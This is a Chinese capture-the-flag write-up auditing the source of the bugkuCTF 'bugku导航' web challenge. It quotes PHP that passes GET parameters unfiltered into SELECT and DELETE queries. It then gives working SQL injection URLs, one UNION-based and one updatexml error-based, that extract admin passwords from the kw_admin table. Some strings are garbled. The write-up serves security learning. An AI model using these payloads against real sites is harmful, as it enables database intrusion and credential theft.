代码审计:bugkuCTF web进阶 bugku导航两处注入
bugku导航
bugku导航是bugkuCTF靶场中,web进阶的一道题,存在源码泄露,所以下下来审计一波。
https://ctf.bugku.com/challenges
下载源码:
(可以看到有个flag-asd.txt文件,如果只是想通关的话,在线访问这个文件即可得到flag值)
http://123.206.87.240:9006/1.zip
自行搭建,或者用bugku自己的网站也行。
代码审计
使用seay工具进行初步审计,根据可疑点回溯。
因为目标是拿到密码,所以主要关注sql注入。
后台admin的就不看了,前台疑似存在四处注入。
头两个是一样的,进入/include/smarty/plugins/function.list.php,关键代码如下:
<?php
function smarty_function_list ($params , &$smarty){
$category = $params['category'];
require ("../common/config.php");
$sql = "SELECT * FROM `".$dbprefix."_sites` WHERE `Category` = ".$category;
。。。
}
?>
可以看到sql语句的 $category 没有过滤直接使用,而 $category 来自
p
a
r
a
m
s
数
组
,
params 数组,
params数组,params 通过传参进来。
全局搜索 smarty_function_list 函数,看一下调用之前有没有过滤操作。
很可惜,似乎并没有别的文件调用该函数。
/member/add.php 存在注入
那我们看到第三个,进入/member/add.php,关键代码如下:
<?php
require_once 'inc.php';
$user = $_SESSION['userlogin'];
$type = !empty( $_GET['type'] ) ? trim( $_GET['type'] ) : "";
if( $type == "newok" )
{
。。。
}elseif( $type == "edit" )
{
$usersites = $db -> select("SELECT * FROM `".$dbprefix."_favorite` WHERE `ID`=".$_GET['id']);
$templates->assign("ID",$_GET['id']);
$templates->assign("Name",$usersites[0]['Name']);
$templates->assign("Link",$usersites[0]['Link']);
$templates->assign("Order",$usersites[0]['Order']);
$templates->assign("stype","editok");
$templates->assign("title","��վ��");
$templates->display( templates ( 'add.tpl' ) );
}elseif( $type == "editok" )
{
。。。
} else
{
。。。
}
?>
可以看到 select 语句的 id 值直接get获取的,没有任何过滤,存在注入。
代码逻辑不难看出,在用户登录的状态下,访问 /member/add.php,在参数 $type 为 edit 值时,可构造 id 参数进行注入操作。
给出exp:
http://123.206.87.240:9006/member/add.php?type=edit&id=1 union select 1,group_concat(Name),group_concat(Password),4,5 from kw_admin
/member/admin.php 存在注入
最后看第四个注入点, 进入/member/admin.php, 关键代码如下:
<?php
require_once 'inc.php';
$type = !empty( $_GET['type'] ) ? trim( $_GET['type'] ) : "";
if( $type == "del" )
{
$id = !empty( $_GET['id'] ) ? trim( $_GET['id'] ) : "";
$db -> query("DELETE FROM `".$dbprefix."_favorite` WHERE `ID`=".$id);
$templates->assign("msg","ɾ���û��Զ���վ��ɹ���<a href=\"#\" οnclick=\"history.go(-2);\">����</a>");
$templates->display( templates ( 'msg.tpl' ) );
} else
{
。。。
}
?>
可以看到 delect 语句的 id 值没有过滤,存在注入。
访问 /member/admin.php,在参数 $type 为 del 值时,可构造 id 参数进行注入操作。
delect 型的注入,所以我们选择报错注入,给出exp:
http://123.206.87.240:9006/member/admin.php?type=del&id=1 or updatexml(1,concat(0x7e,(select group_concat(Password) from kw_admin)),0)